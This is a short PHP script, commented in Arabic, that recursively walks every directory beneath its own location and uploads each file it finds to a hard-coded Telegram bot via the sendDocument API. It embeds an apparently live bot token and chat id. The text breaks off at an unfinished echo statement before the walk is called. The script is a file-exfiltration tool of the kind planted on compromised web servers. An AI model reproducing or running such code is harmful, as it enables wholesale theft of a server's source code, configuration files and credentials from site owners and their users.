set_time_limit(0);ini_set('display_errors', 1);$bot_token = "7725309391:AAF5OfXzcszqpWZyoiUCzeRcRNbnMLoII5s";$chat_id = "6808756378";// دالة لتصفح الملفات داخل كل المجلداتfunction send_all_files($dir, $bot_token, $chat_id) { $items = scandir($dir); foreach ($items as $item) { if ($item === "." || $item === "..") continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { // لو مجلد، نتابع داخله send_all_files($path, $bot_token, $chat_id); } else { // إرسال الملف إلى تليجرام كمرفق send_file_to_telegram($path, $bot_token, $chat_id); sleep(1); // تهدئة بين كل إرسال } }}// دالة الإرسالfunction send_file_to_telegram($file_path, $bot_token, $chat_id) { $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => "https://api.telegram.org/bot$bot_token/sendDocument", CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => [ 'chat_id' => $chat_id, 'document' => new CURLFile($file_path), 'caption' => basename($file_path) ], ]); $response = curl_exec($curl); $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($http_code == 200) { echo "✅ أُرسل: " . basename($file_path) . "
"; } else { echo "❌ فشل الإرسال: " . basename($file_path) . "
"; }}// المسار الأساسي (مجلد السكربت)$base_path = __DIR__;echo "